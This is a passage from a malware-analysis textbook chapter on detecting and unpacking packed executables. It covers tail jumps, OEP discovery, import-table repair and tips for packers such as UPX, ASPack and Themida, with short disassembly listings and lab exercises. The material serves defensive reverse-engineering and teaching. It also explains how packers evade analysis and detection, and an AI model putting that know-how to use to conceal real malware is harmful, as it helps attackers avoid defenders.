approach, but analysis will still reveal all the libraries that are imported. This 
approach is simpler for the packer to implement than the first approach, 
since the libraries do not need to be loaded by the unpacking stub, but the 
unpacking stub must still resolve the majority of the functions.

The final approach is the removal of all imports (including LoadLibrary 
and GetProcAddress). The packer must find all the functions needed from 
other libraries without using functions, or it must find LoadLibrary and 
GetProcAddress, and use them to locate all the other libraries. This process 
is discussed in Chapter 19, because it is similar to what shellcode must do. 
The benefit of this approach is that the packed program includes no imports 
at all, which makes it stealthy. However, in order to use this approach, the 
unpacking stub must be complex.
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The Tail Jump
Once the unpacking stub is complete, it must transfer execution to the OEP. 
The instruction that transfers execution to the OEP is commonly referred to 
as the tail jump.

A jump instruction is the simplest and most popular way to transfer execu-
tion. Since it’s so common, many malicious packers will attempt to obscure 
this function by using a ret or call instruction. Sometimes the tail jump 
is obscured with OS functions that transfer control, such as NtContinue or 
ZwContinue.

Unpacking Illustrated
Figures 18-1 through 18-4 illustrate the packing and unpacking process, as 
follows:

 Figure 18-1 shows the original executable. The header and sections are 
visible, and the starting point is set to the OEP.

 Figure 18-2 shows the packed executable as it exists on disk. All that is vis-
ible is the new header, the unpacking stub, and packed original code.

 Figure 18-3 shows the packed executable as it exists when it’s loaded into 
memory. The unpacking stub has unpacked the original code, and valid 
.text and .data sections are visible. The starting point for the executable 
still points to the unpacking stub, and the import table is usually not 
valid at this stage.

 Figure 18-4 shows the fully unpacked executable. The import table has 
been reconstructed, and the starting point has been edited to point to 
the OEP.

Note that the final unpacked program is different than the original pro-
gram. The unpacked program still has the unpacking stub and any other 
code that the packing program added. The unpacking program has a PE 
header that has been reconstructed by the unpacker and will not be exactly 
the same as the original program.

Figure 18-1: The original executable, 
prior to packing

Figure 18-2: The packed executable, 
after the original code is packed and 
the unpacking stub is added
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Identifying Packed Programs

An early step when analyzing malware is to recognize that it is packed. We 
have covered techniques for detecting if malware is packed in earlier chap-
ters. Here, we’ll provide a review and also introduce a new technique.

Indicators of a Packed Program
The following list summarizes signs to look for when determining whether 
malware is packed.

 The program has few imports, and particularly if the only imports are 
LoadLibrary and GetProcAddress.

 When the program is opened in IDA Pro, only a small amount of code is 
recognized by the automatic analysis.

 When the program is opened in OllyDbg, there is a warning that the pro-
gram may be packed.

 The program shows section names that indicate a particular packer 
(such as UPX0).

 The program has abnormal section sizes, such as a .text section with a 
Size of Raw Data of 0 and Virtual Size of nonzero.

Packer-detection tools such as PEiD can also be used to determine if an 
executable is packed.

Entropy Calculation
Packed executables can also be detected via a technique known as entropy 
calculation. Entropy is a measure of the disorder in a system or program, and 
while there is not a well-defined standard mathematical formula for calculat-
ing entropy, there are many well-formed measures of entropy for digital data.

Figure 18-3: The program after being 
unpacked and loaded into memory. The 
unpacking stub unpacks everything neces-
sary for the code to run. The program’s 
starting point still points to the unpacking 
stub, and there are no imports.

Figure 18-4: The fully unpacked 
program. The import table is 
reconstructed, and the starting 
point is back to the original entry 
point (OEP).
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Compressed or encrypted data more closely resembles random data, 
and therefore has high entropy; executables that are not encrypted or com-
pressed have lower entropy.

Automated tools for detecting packed programs often use heuristics like 
entropy. One such free automated tool is Mandiant Red Curtain, which cal-
culates a threat score for any executable using measures such as entropy. Red 
Curtain can scan a filesystem for suspected packed binaries.

Unpacking Options

There are three options for unpacking a packed executable: automated 
static unpacking, automated dynamic unpacking, and manual dynamic 
unpacking. The automated unpacking techniques are faster and easier 
than manual dynamic unpacking, but automated techniques don’t always 
work. If you have identified the kind of packer used, you should determine 
if an automated unpacker is available. If not, you may be able to find infor-
mation about how to unpack the packer manually.

When dealing with packed malware, remember that your goal is to 
analyze the behavior of the malware, which does not always require you 
to re-create the original malware. Most of the time, when you unpack mal-
ware, you create a new binary that is not identical to the original, but does 
all the same things as the original.

Automated Unpacking

Automated static unpacking programs decompress and/or decrypt the exe-
cutable. This is the fastest method, and when it works, it is the best method, 
since it does not run the executable, and it restores the executable to its orig-
inal state. Automatic static unpacking programs are specific to a single packer, 
and they will not work on packers that are designed to thwart analysis.

PE Explorer, a free program for working with EXE and DLL files, comes 
with several static unpacking plug-ins as part of the default setup. The default 
plug-ins support NSPack, UPack, and UPX. Unpacking files with PE Explorer 
is completely seamless. If PE Explorer detects that a file you’ve chosen to 
open is packed, it will automatically unpack the executable. Note that if you 
want to examine the unpacked executable outside PE Explorer, you’ll need 
to save it.

Automated dynamic unpackers run the executable and allow the unpack-
ing stub to unpack the original executable code. Once the original executable 
is unpacked, the program is written to disk, and the unpacker reconstructs the 
original import table.

The automated unpacking program must determine where the unpack-
ing stub ends and the original executable begins, which is difficult. When the 
packer fails to identify the end of the unpacking stub correctly, unpacking 
fails.
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Unfortunately, currently there are no good publicly available automated 
dynamic unpackers. Many publicly available tools will do an adequate job on 
some packers, but none is quite ready for serious usage.

Both automated unpacking techniques work quickly and are easy to use, 
but they have limited success. A malware analyst must know the difference 
between automated static and dynamic unpackers: Automated dynamic 
unpacking programs run the malicious executable, and automated static un-
packing programs do not. Any time that the malicious program will run, it is 
necessary to make sure that happens in a safe environment, as discussed in 
Chapter 2.

Manual Unpacking

Sometimes, packed malware can be unpacked automatically by an existing 
program, but more often it must be unpacked manually. Manual unpacking 
can sometimes be done quickly, with minimal effort; other times it can be a 
long, arduous process.

There are two common approaches to manually unpacking a program:

 Discover the packing algorithm and write a program to run it in reverse. 
By running the algorithm in reverse, the program undoes each of the 
steps of the packing program. There are automated tools that do this, 
but this approach is still inefficient, since the program written to unpack 
the malware will be specific to the individual packing program used. So, 
even with automation, this process takes a significant amount of time to 
complete.

 Run the packed program so that the unpacking stub does the work for 
you, and then dump the process out of memory, and manually fix up the 
PE header so that the program is complete. This is the more efficient 
approach.

Let’s walk through a simple manual unpacking process. For the pur-
poses of this example, we’ll unpack an executable that was packed with 
UPX. Although UPX can easily be unpacked automatically with the UPX 
program, it is simple and makes a good example. You’ll work through this 
process yourself in the first lab for this chapter.

Begin by loading the packed executable into OllyDbg. The first step is to 
find the OEP, which was the first instruction of the program before it was 
packed. Finding the OEP for a function can be one of the more difficult tasks 
in the manual unpacking process, and will be covered in detail later in the 
chapter. For this example, we will use an automated tool that is a part of the 
OllyDump plug-in for OllyDbg.

NOTE OllyDump, a plug-in for OllyDbg, has two good features for unpacking: It can 
dump the memory of the current process, and it can search for the OEP for a packed 
executable.
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In OllyDbg, select PluginsOllyDumpFind OEP by Section Hop. The 
program will hit a breakpoint just before the OEP executes.

When that breakpoint is hit, all of the code is unpacked into memory, 
and the original program is ready to be run, so the code is visible and avail-
able for analysis. The only remaining step is to modify the PE header for this 
code so that our analysis tools can interpret the code properly.

The debugger will be broken on the instruction that is the OEP. Write 
down the value of the OEP, and do not close OllyDbg.

Now we’ll use the OllyDump plug-in to dump the executable. Select 
PluginsOllyDumpDump Debugged Process. This will dump everything 
from process memory onto disk. There are a few options on the screen for 
dumping the file to disk.

If OllyDbg just dumped the program without making any changes, then 
the dumped program will include the PE header of the packed program, 
which is not the same as the PE header of the unpacked program. We would 
need to change two things to correct the header:

 The import table must be reconstructed.

 The entry point in the PE header must point to the OEP.

Fortunately, if you don’t change any of the options on the dump screen, 
OllyDump will perform these steps automatically. The entry point of the exe-
cutable will be set to the current instruction pointer, which in this case was 
the OEP, and the import table will be rebuilt. Click the Dump button, and 
you are finished unpacking this executable. We were able to unpack this pro-
gram in just a few simple steps because OEP was located and the import table 
was reconstructed automatically by OllyDump. With complex unpackers it 
will not be so simple and the rest of the chapter covers how to unpack when 
OllyDump fails.

Rebuilding the Import Table with Import Reconstructor
Rebuilding the import table is complicated, and it doesn’t always work in 
OllyDump. The unpacking stub must resolve the imports to allow the appli-
cation to run, but it does not need to rebuild the original import table. When 
OllyDbg fails, it’s useful to try to use Import Reconstructor (ImpRec) to per-
form these steps.

ImpRec can be used to repair the import table for packed programs. 
Run ImpRec, and open the drop-down menu at the top of the screen. You 
should see the running processes. Select the packed executable. Next, enter 
the RVA value of the OEP (not the entire address) in the OEP field on the 
right. For example, if the image base is 0x400000 and the OEP is 0x403904, 
enter 0x3904. Next, click the IAT autosearch button. You should see a window 
with a message stating that ImpRec found the original import address table 
(IAT). Now click GetImports. A listing of all the files with imported functions 
should appear on the left side of the main window. If the operation was suc-
cessful, all the imports should say valid:YES. If the GetImports function was not 
successful, then the import table cannot be fixed automatically using ImpRec.
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Strategies for manually fixing the table are discussed later in this chap-
ter. For now, we’ll assume that the import table was discovered successfully. 
Click the Fix Dump button. You’ll be asked for the path to the file that you 
dumped earlier with OllyDump, and ImpRec will write out a new file with an 
underscore appended to the filename.

You can execute the file to make sure that everything has worked, if 
you’re not sure whether you’ve done it correctly. This basic unpacking pro-
cess will work for most packed executables, and should be tried first.

As mentioned earlier, the biggest challenge of manually unpacking mal-
ware is finding the OEP, as we’ll discuss next.

Finding the OEP
There are many strategies for locating the OEP, and no single strategy will 
work against all packers. Analysts generally develop personal preferences, 
and they will try their favorite strategies first. But to be successful, analysts 
must be familiar with many techniques in case their favorite method does not 
work. Choosing the wrong technique can be frustrating and time-consuming. 
Finding the OEP is a skill that must be developed with practice. This section 
contains a variety of strategies to help you develop your skills, but the only 
way to really learn is to practice.

In order to find the OEP, you need to run the malicious program in a 
debugger and use single-stepping and breakpoints. Recall the different types 
of breakpoints described in Chapter 8. OllyDbg offers four types of breakpoints, 
which are triggered by different conditions: the standard INT 3 breakpoints, 
the memory breakpoint provided by OllyDbg, hardware breakpoints, and 
run tracing with break conditions.

Packed code and the unpacking stub are often unlike the code that 
debuggers ordinarily deal with. Packed code is often self-modifying, contain-
ing call instructions that do not return, code that is not marked as code, and 
other oddities. These features can confuse the debuggers and cause break-
points to fail.

Using an automated tool to find the OEP is the easiest strategy, but 
much like the automated unpacking approach, these tools do not always 
work. You may need to find the OEP manually.

Using Automated Tools to Find the OEP

In the previous example, we used an automated tool to find the OEP. The 
most commonly used automatic tool for finding the OEP is the OllyDump 
plug-in within OllyDbg, called Find OEP by Section Hop. Normally, the 
unpacking stub is in one section and the executable is packed into another 
section. OllyDbg detects when there is a transfer from one section to another 
and breaks there, using either the step-over or step-into method. The step-
over method will step-over any call instructions. Calls are often used to execute 
code in another section, and this method is designed to prevent OllyDbg 
from incorrectly labeling those calls the OEP. However, if a call function 
does not return, then OllyDbg will not locate the OEP. 
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Malicious packers often include call functions that do not return in an 
effort to confuse the analyst and the debugger. The step-into option steps 
into each call function, so it’s more likely to find the OEP, but also more 
likely to produce false positives. In practice you should try both the step-over 
and the step-into methods.

Finding the OEP Manually

When automated methods for finding the OEP fail, you will need to find it 
manually. The simplest manual strategy is to look for the tail jump. As men-
tioned earlier, this instruction jumps from the unpacking stub to the OEP. 
Normally, it’s a jmp instruction, but some malware authors make it a ret 
instruction in order to evade detection.

Often, the tail jump is the last valid instruction before a bunch of bytes 
that are invalid instructions. These bytes are padding to ensure that the sec-
tion is properly byte-aligned. Generally, IDA Pro is used to search through 
the packed executable for the tail jump. Listing 18-1 shows a simple tail jump 
example.

00416C31   PUSH EDI
00416C32   CALL EBP
00416C34   POP EAX
00416C35   POPAD
00416C36   LEA EAX,DWORD PTR SS:[ESP-80]
00416C3A   PUSH 0
00416C3C   CMP ESP,EAX
00416C3E   JNZ SHORT Sample84.00416C3A
00416C40   SUB ESP,-80
00416C43 JMP Sample84.00401000
00416C48   DB 00
00416C49   DB 00
00416C4A   DB 00
00416C4B   DB 00
00416C4C   DB 00
00416C4D   DB 00
00416C4E   DB 00

Listing 18-1: A simple tail jump

This example shows the tail jump for UPX at , which is located at 
address 0x00416C43. Two features indicate clearly that this is the tail jump: 
It’s located at the end of the code, and it links to an address that is very far 
away. If we were examining this jump in a debugger, we would see that there 
are hundreds of 0x00 bytes after the jump, which is uncommon; a return 
generally follows a jump, but this one isn’t followed by any meaningful code.

The other feature that makes this jump stick out is its size. Normally, 
jumps are used for conditional statements and loops, and go to addresses 
that are within a few hundred bytes, but this jump goes to an address that’s 
0x15C43 bytes away. That is not consistent with a reasonable jmp statement.

The graph view in IDA Pro often makes the tail jump very easy to spot, 
as shown in Figure 18-5. IDA Pro colors a jump red when it can’t determine 
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where the jump goes. Normally, jumps are within the same function, and 
IDA Pro will draw an arrow to the target of a jmp instruction. In the case of 
a tail jump, IDA Pro encounters an error and colors the jump red.

Figure 18-5: A tail jump is highlighted in red in the IDA Pro graph view.

The tail jump transfers execution to the original program, which is 
packed on disk. Therefore, the tail jump goes to an address that does not 
contain valid instructions when the unpacking stub starts, but does contain 
valid instructions when the program is running. Listing 18-2 shows the dis-
assembly at the address of the jump target when the program is loaded in 
OllyDbg. The instruction ADD BYTE PTR DS:[EAX],AL corresponds to two 0x00 
bytes, which is not a valid instruction, but OllyDbg is attempting to disassemble 
this instruction anyway.

00401000   ADD BYTE PTR DS:[EAX],AL
00401002   ADD BYTE PTR DS:[EAX],AL
00401004   ADD BYTE PTR DS:[EAX],AL
00401006   ADD BYTE PTR DS:[EAX],AL
00401008   ADD BYTE PTR DS:[EAX],AL
0040100A   ADD BYTE PTR DS:[EAX],AL
0040100C   ADD BYTE PTR DS:[EAX],AL
0040100E   ADD BYTE PTR DS:[EAX],AL

Listing 18-2: Instruction bytes stored at OEP before the original program is unpacked
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Listing 18-3 contains the disassembly found at the same address when 
the tail jump is executed. The original executable has been unpacked, and 
there are now valid instructions at that location. This change is another hall-
mark of a tail jump.

00401000   CALL Sample84.004010DC
00401005   TEST EAX,EAX
00401007   JNZ SHORT Sample84.0040100E
00401009   CALL Sample84.00401018
0040100E   PUSH EAX
0040100F   CALL DWORD PTR DS:[414304] ; kernel32.ExitProcess
00401015   RETN

Listing 18-3: Instruction bytes stored at OEP after the original program is unpacked

Another way to find the tail jump is to set a read breakpoint on the stack. 
Remember for read breakpoints, you must use either a hardware breakpoint 
or an OllyDbg memory breakpoint. Most functions in disassembly, including 
the unpacking stub, begin with a push instruction of some sort, which you can 
use to your advantage. First, make a note of the memory address on the stack 
where the first value is pushed, and then set a breakpoint on read for that 
stack location.

After that initial push, everything else on the stack will be higher on the 
stack (at a lower memory address). Only when the unpacking stub is com-
plete will that stack address from the original push be accessed. Therefore, 
that address will be accessed via a pop instruction, which will hit the break-
point and break execution. The tail jump is generally just after the pop 
instruction. It’s often necessary to try several different types of breakpoints 
on that address. A hardware breakpoint on read is a good type to try first. 
Note that the OllyDbg interface does not allow you to set a breakpoint in the 
stack window. You must view the stack address in the memory dump window 
and set a breakpoint on it there.

Another strategy for manually finding OEP is to set breakpoints after 
every loop in the code. This allows you to monitor each instruction being 
executed without consuming a huge amount of time going through the same 
code in a loop over and over again. Normally, the code will have several 
loops, including loops within loops. Identify the loops by scanning through 
the code and setting a breakpoint after each loop. This method is manually 
intensive and generally takes longer than other methods, but it is easy to 
comprehend. The biggest pitfall with this method is setting a breakpoint in 
the wrong place, which will cause the executable to run to completion with-
out hitting the breakpoint. If this happens, don’t be discouraged. Go back to 
where you left off and keeping setting breakpoints further along in the pro-
cess until you find the OEP.

Another common pitfall is stepping over a function call that never returns. 
When you step-over the function call, the program will continue to run, and 
the breakpoint will never be hit. The only way to address this is to start over, 
return to the same function call, and step-into the function instead of stepping 
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over it. Stepping into every function can be time consuming, so it’s advisable to 
use trial and error to determine when to step-over versus step-into.

Another strategy for finding the tail jump is to set a breakpoint on 
GetProcAddress. Most unpackers will use GetProcAddress to resolve the imports 
for the original function. A breakpoint that hits on GetProcAddress is far into 
the unpacking stub, but there is still a lot of code before the tail jump. Set-
ting a breakpoint at GetProcAddress allows you to bypass the beginning of the 
unpacking stub, which often contains the most complicated code.

Another approach is to set a breakpoint on a function that you know will 
be called by the original program and work backward. For example, in most 
Windows programs, the OEP can be found at the beginning of a standard 
wrapper of code that is outside the main method. Because the wrapper is 
always the same, you can find it by setting a breakpoint on one of the func-
tions it calls.

For command-line programs, this wrapper calls the GetVersion and 
GetCommandLineA functions very early in the process, so you can try to break 
when those functions are called. The program isn’t loaded yet, so you can’t 
set a breakpoint on the call to GetVersion, but you can set one on the first 
instruction of GetVersion, which works just as well.

In GUI programs, GetModuleHandleA is usually the first function to be 
called. After the program breaks, examine the previous stack frame to see 
where the call originated. There’s a good chance that the beginning of the 
function that called GetModuleHandleA or GetVersion is the OEP. Beginning at 
the call instruction, scroll up and search for the start of the function. Most 
functions start with push ebp, followed by mov ebp, esp. Try to dump the pro-
gram with the beginning of that function as the OEP. If you’re right, and that 
function is the OEP, then you are finished. If you’re wrong, then the pro-
gram will still be dumped, because the unpacking stub has already finished. 
You will be able to view and navigate the program in IDA Pro, but you won’t 
necessarily know where the program starts. You might get lucky and IDA Pro 
might automatically identify WinMain or DllMain.

The last tactic for locating the OEP is to use the Run Trace option in 
OllyDbg. Run Trace gives you a number of additional breakpoint options, 
and allows you to set a breakpoint on a large range of addresses. For example, 
many packers leave the .text section for the original file. Generally, there is 
nothing in the .text section on disk, but the section is left in the PE header 
so that the loader will create space for it in memory. The OEP is always within 
the original .text section, and it is often the first instruction called within 
that section. The Run Trace option allows you to set a breakpoint to trigger 
whenever any instruction is executed within the .text section. When the 
breakpoint is triggered, the OEP can usually be found.

Repairing the Import Table Manually
OllyDump and ImpRec are usually able to rebuild the import table by search-
ing through the program in memory for what looks like a list of imported 
functions. But sometimes this fails, and you need to learn a little more about 
how the import table works in order to analyze the malware.
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The import table is actually two tables in memory. The first table is the 
list of names or ordinals used by the loader or unpacking stub to determine 
which functions are needed. The second table is the list of the addresses of 
all the functions that are imported. When the code is running, only the sec-
ond table is needed, so a packer can remove the list of names to thwart anal-
ysis. If the list of names is removed, then you may need to manually rebuild 
the table.

Analyzing malware without import information is extremely difficult, so 
it’s best to repair the import information whenever possible. The simplest 
strategy is to repair the imports one at a time as you encounter them in the 
disassembly. To do this, open the file in IDA Pro without any import informa-
tion. When you see a call to an imported function, label that imported func-
tion in the disassembly. Calls to imported functions are an indirect call to an 
address that is outside the loaded program, as shown in Listing 18-4.

push eax
call dword_401244
...
dword_401244: 0x7c4586c8

Listing 18-4: Call to an imported function when the import table is not properly reconstructed

The listing shows a call instruction with a target based on a DWORD pointer. 
In IDA Pro, we navigate to the DWORD and see that it has a value of 0x7c4586c8, 
which is outside our loaded program. Next, we open OllyDbg and navigate to 
the address 0x7c4586c8 to see what is there. OllyDbg has labeled that address 
WriteFile, and we can now label that import address as imp_WriteFile, so that 
we know what the function does. You’ll need to go through these steps for 
each import you encounter. The cross-referencing feature of IDA Pro will 
then label all calls to the imported functions. Once you’ve labeled enough 
functions, you can effectively analyze the malware.

The main drawbacks to this method are that you may need to label a 
lot of functions, and you cannot search for calls to an import until you have 
labeled it. The other drawback to this approach is that you can’t actually run 
your unpacked program. This isn’t a showstopper, because you can use the 
unpacked program for static analysis, and you can still use the packed pro-
gram for dynamic analysis.

Another strategy, which does allow you to run the unpacked program, is 
to manually rebuild the import table. If you can find the table of imported 
functions, then you can rebuild the original import table by hand. The PE 
file format is an open standard, and you can enter the imported functions 
one at time, or you could write a script to enter the information for you. 
The biggest drawback is that this approach can be very tedious and time-
consuming.
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NOTE Sometimes malware authors use more than one packer. This doubles the work for the 
analyst, but with persistence, it’s usually possible to unpack even double-packed mal-
ware. The strategy is simple: Undo the first layer of packing using any of the techniques 
we’ve just described, and then repeat to undo the second layer of packing. The strategies 
are the same, regardless of the number of packers used.

Tips and Tricks for Common Packers

This section covers just a sampling of popular packers that you are likely to 
encounter when analyzing malware. For each packer covered, we’ve included a 
description and a strategy for unpacking manually. Automated unpackers are 
also listed for some of these, but they do not always work. For each packer, 
strategies for finding the OEP and potential complications are also included.

UPX
The most common packer used for malware is the Ultimate Packer for eXe-
cutables (UPX). UPX is open source, free, and easy to use, and it supports a 
wide variety of platforms. UPX compresses the executable, and is designed 
for performance rather than security. UPX is popular because of its high 
decompression speed, and the small size and low memory requirements of 
its decompression routine.

UPX was not designed to be difficult to reverse-engineer, and it does not 
pose much of a challenge for a malware analyst. Most programs packed with 
UPX can be unpacked with UPX as well, and the command line has a -d 
option that you can use to decompress a UPX-packed executable.

Because it’s fairly easy to overcome, UPX is a good packer for learning 
how to manually unpack malware. However, many stealthy malicious pro-
grams are designed to appear to be packed with UPX, when they are really 
packed with another packer or a modified version of UPX. When this is the 
case, the UPX program will not be able to unpack the executable.

You can find the OEP for UPX by using many of the strategies outlined 
earlier in this chapter. You can also use the Find OEP by Section Hop feature 
in OllyDump, or simply page down through the unpacking stub until you see 
the tail jump. Dumping the file and reconstructing the import table with 
OllyDump will be successful.

PECompact
PECompact is a commercial packer designed for speed and performance. 
A discontinued free student version is still often used by malware authors. 
Programs packed with this packer can be difficult to unpack, because it 
includes anti-debugging exceptions and obfuscated code. PECompact has a 
plug-in framework that allows third-party tools to be incorporated, and mal-
ware authors often include third-party tools that make unpacking even more 
difficult.
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Unpacking PECompact manually is largely the same as unpacking 
UPX. The program generates some exceptions, so you will need to have 
OllyDbg set to pass exceptions to the program. This was discussed in detail 
in Chapter 16.

You can find the OEP by looking for the tail jump. Step over a few func-
tions, and you will see a tail jump consisting of a jmp eax followed by many 
0x00 bytes.

ASPack
ASPack is focused on security, and it employs techniques to make it difficult 
to unpack programs. ASPack uses self-modifying code, which makes it diffi-
cult to set breakpoints and to analyze in general.

Setting a breakpoint can cause programs packed with ASPack to termi-
nate prematurely, but these programs can still be manually unpacked using 
hardware breakpoints set on the stack address. Additionally, ASPack is so 
popular that there are many automated unpackers available. Their effective-
ness varies, but automated unpacking is always worth trying as a first option.

Although you may successfully unpack an ASPack packed file using auto-
mated techniques, most likely you’ll need to unpack files manually. Begin by 
opening the code for the unpacking stub. Early in the code, you will see a 
PUSHAD instruction. Determine which stack addresses are used to store the 
registers, and set a hardware breakpoint on one of those addresses. Ensure 
that it is set to break on a read instruction. When the corresponding POPAD 
instruction is called, the breakpoint will be triggered and you will be just a 
few instructions away from the tail jump that leads to the OEP.

Petite
Petite is similar to ASPack in a number of ways. Petite also uses anti-debugging 
mechanisms to make it difficult to determine the OEP, and the Petite code 
uses single-step exceptions in order to break into the debugger. This can be 
resolved by passing single-step exceptions to the program, as described in 
Chapter 16. The best strategy is to use a hardware breakpoint on the stack to 
find the OEP, as with ASPack. Petite uses a complicated code structure that 
makes it easy to spot the OEP once you have gotten close because the origi-
nal code looks normal unlike the Petite wrapper code.

Petite also keeps at least one import from each library in the original 
import table. Although this does not affect how difficult it is to unpack, you 
can easily determine which DLLs the malware uses without unpacking it.

WinUpack
WinUpack is a packer with a GUI front end, designed for optimal compres-
sion, and not for security. There is a command-line version of this packer 
called UPack, and there are automated unpackers specific to UPack and 
WinUpack.
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Although security isn’t its focus, WinUpack does include security mea-
sures that make it difficult to find the OEP, and render techniques such as 
searching for the tail jump or using OllyDump useless. Listing 18-5 shows the 
tail jump for this executable.

010103A6   POP ECX
010103A7   OR ECX,ECX
010103A9   MOV DWORD PTR SS:[EBP+3A8],EAX
010103AF   POPAD
010103B0   JNZ SHORT Sample_upac.010103BA
010103B2   MOV EAX,1
010103B7   RETN 0C
010103BA PUSH Sample_upac.01005F85
010103BF RETN
010103C0   MOV EAX,DWORD PTR SS:[EBP+426]
010103C6   LEA ECX,DWORD PTR SS:[EBP+43B]
010103CC   PUSH ECX
010103CD   PUSH EAX
010103CE   CALL DWORD PTR SS:[EBP+F49]
010103D4   MOV DWORD PTR SS:[EBP+555],EAX
010103DA   LEA EAX,DWORD PTR SS:[EBP+447]
010103E0   PUSH EAX
010103E1   CALL DWORD PTR SS:[EBP+F51]
010103E7   MOV DWORD PTR SS:[EBP+42A],EAX

Listing 18-5: Tail jump for a program packed with UPack

In this listing, the tail jump at  is in the middle of the unpacking stub, 
so it is difficult to spot. A push instruction at  followed by a return instruc-
tion is extremely common for a tail jump. The code jumps all around before 
arriving at the tail jump in order to make it harder to spot. To further 
obscure the tail jump, the push that precedes the retn instruction is modified 
by the packer shortly before it is called. The jump is also not very far, so you 
can’t identify it by searching for long jumps. Because the OEP is in the same 
section as the unpacking stub, OllyDump cannot automatically identify the 
tail jump via its section-hopping method.

The best strategy for finding the OEP for a program packed with UPack 
is to set a breakpoint on GetProcAddress, and then single-step carefully over 
instructions looking for the loops that set the import resolution. If you set 
the breakpoints at every jmp or call instruction, you will be single-stepping 
forever, but if you set the breakpoints too sparsely, the program will probably 
miss your breakpoints and run until completion.

Do not be discouraged if the program runs to completion without hit-
ting your breakpoints. Simply restart the application in the debugger and try 
again. Making mistakes is a part of the process. Eventually, you will single-
step onto a ret instruction that is the tail jump.

Sometimes, recognizing the tail jump can be tricky. In this case, it jumps 
about 0x4000 bytes away. Most unpacking stubs are much smaller than 0x4000, 
and a jump of that size usually is a jump to the OEP. A good way to double-
check is to examine the code around the OEP, which should look more like 
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ordinary code compared to the unpacking stub. The unpacking stub often 
has many conditional jumps and returns in the middle of a function, but the 
code around the OEP should not have these unusual elements.

Another strategy that works on UPack is to set a breakpoint on 
GetModuleHandleA for GUI programs or GetCommandLineA for command-line 
programs. In Windows, these functions are called shortly after the OEP. 
Once the breakpoint is triggered, search backward through the code to 
find the OEP.

Sometimes WinUpack crashes OllyDbg by using a PE header that Olly-
Dbg parses incorrectly. In Chapter 16, we showed that OllyDbg isn’t perfect 
and has issues parsing binaries that run just fine on Windows outside the 
debugger. If you encounter this problem, always try to use WinDbg before 
attempting to decipher PE header errors.

Themida
Themida is a very complicated packer with many features. Most of the fea-
tures are anti-debugging and anti-analysis, which make it a very secure packer 
that’s difficult to unpack and analyze.

Themida contains features that prevent analysis with VMware, debug-
gers, and Process Monitor (procmon). Themida also has a kernel compo-
nent, which makes it much more difficult to analyze. Code running in the 
kernel has very few restrictions, and analysis code generally runs in user 
space, and is therefore subject to more restrictions.

Because Themida includes so many features, the packed executable is 
unusually bulky. In addition, unlike most packers, Themida’s code continues 
to run the entire time that the original program is running.

Some automated tools are designed to unpack Themida files, but their 
success varies based on the version of Themida and the settings used when 
the program was packed. Themida has so many features and settings that it is 
impossible to find a single unpacking strategy that will always work.

If automated tools don’t work, another great strategy is to use ProcDump 
to dump the process from memory without debugging. ProcDump is a tool 
from Microsoft for dumping the contents of a Windows process. It’s designed 
to work with a debugger, but is not itself a debugger. The biggest advantage 
of ProcDump is that you can dump process memory without stopping or 
debugging the process, which is extremely useful for packers that have 
advanced anti-debugging measures. Even when you cannot debug an exe-
cutable, you can use ProcDump to dump the unpacked contents while the 
executable is running. This process doesn’t completely restore the original 
executable, but it does allow you to run strings and do some analysis on 
the code.

Analyzing Without Fully Unpacking

Some programs, including those packed with Themida, can be very difficult 
to unpack. At times, you might spend all day trying to unpack a program and 
have no success. Perhaps the packer is using a new technique that you simply 
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cannot solve. If that happens, you may be in luck—you don’t always need to 
create a fully unpacked working executable in order to analyze a piece of 
malware.

The simplest case occurs when a program that is unpacked fails to exe-
cute because you can’t completely repair the import table and PE header. In 
that case, you can still use IDA Pro to analyze the program, even though it is 
not fully executable. Once you have the dumped program on disk, you can 
have IDA Pro analyze specific sections of code by navigating to the memory 
address and marking that section as code. You can also run Strings on the 
program (as discussed in Chapter 1), which might reveal the imported func-
tions and other useful information.

The analysis that’s possible without fully unpacking is very limited, but 
depending on your goal, it may be sufficient.

Some unpackers do not actually unpack the entire original program 
before the program begins running. Instead, they unpack a portion of the 
original program, and run that portion. When it is time to run the next por-
tion of code, that portion is unpacked into memory and run. This creates 
considerable overhead for the executable, but makes it very difficult for an 
analyst to unpack.

Reverse-engineering the technique that unpacks individual chunks of 
code can enable you to write a script to unpack all of the code, or at least 
large portions of it. Another option is to focus more on dynamic analysis.

Packed DLLs

There are additional complications associated with packing DLLs, so this 
capability is not supported by all packers. Handling the exports of the DLL is 
one complication. The export table in the DLL points to the address of the 
exported functions, and if the DLL is packed, then the exported functions 
are also packed. The packer must account for this to ensure that the DLL 
operates properly.

Unpacking a DLL is not much different from unpacking an EXE. The 
key thing to remember is that DLLs have an OEP, just like executables. All 
DLLs have a function called DllMain, which is called when the DLL is loaded. 
The OEP in a DLL is the original start of DllMain. The start address listed in 
the packed DLL is the address of the unpacking stub, which is placed into 
DllMain rather than into the main method. OllyDbg can load DLLs, and Olly-
Dbg has a tool called loadDll.exe, which allows you to load and debug DLLs. 
The problem is that the DllMain method will be called prior to breaking in 
OllyDbg. By the time the break occurs, the unpacking stub will have already 
executed, and it will be very difficult to find the OEP.

To get around this, open the PE file and locate the Characteristics 
field in the IMAGE_FILE_HEADER section. The bit in the 0x2000 place in the 
IMAGE_FILE_HEADER is set to 1 for DLLs. If this field is changed to a 0, then the 
file will be interpreted as an executable. OllyDbg will open the program as 
an EXE, and you will be able to apply all of the unpacking strategies dis-
cussed in this chapter. After you’ve found the OEP, change the bit back so 
that the program will be treated as a DLL again.
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Conclusion

This chapter covered a large number of strategies for dealing with packed 
software. We started with the basics of how packers work and how to unpack 
software, and then discussed some automated unpacking tools and strategies. 
Next, we covered techniques that can be used to manually unpack malicious 
software. No single strategy or tool will work in all cases, so you need to be 
familiar with several techniques.

In the next chapter, we will cover shellcode and strategies for recogniz-
ing and analyzing malicious shellcode.
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L A B S
Your goal for the labs in this chapter is simply to unpack the code for further 
analysis. For each lab, you should try to unpack the code so that other static 
analysis techniques can be used. While you may be able to find an automated 
unpacker that will work with some of these labs, automated unpackers won’t 
help you learn the skills you need when you encounter custom packers. Also, 
once you master unpacking, you may be able to manually unpack a file in less 
time than it takes to find, download, and use an automated unpacker.

Each lab is a packed version of a lab from a previous chapter. Your task in 
each case is to unpack the lab and identify the chapter in which it appeared. 
The files are Lab18-01.exe through Lab18-05.exe.
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PART 6
S P E C I A L  T O P I C S





S H E L L C O D E  A N A L Y S I S

Shellcode refers to a payload of raw executable code. 
The name shellcode comes from the fact that attackers 
would usually use this code to obtain interactive shell 
access on the compromised system. However, over 
time, the term has become commonly used to describe 
any piece of self-contained executable code.

Shellcode is often used alongside an exploit to subvert a running pro-
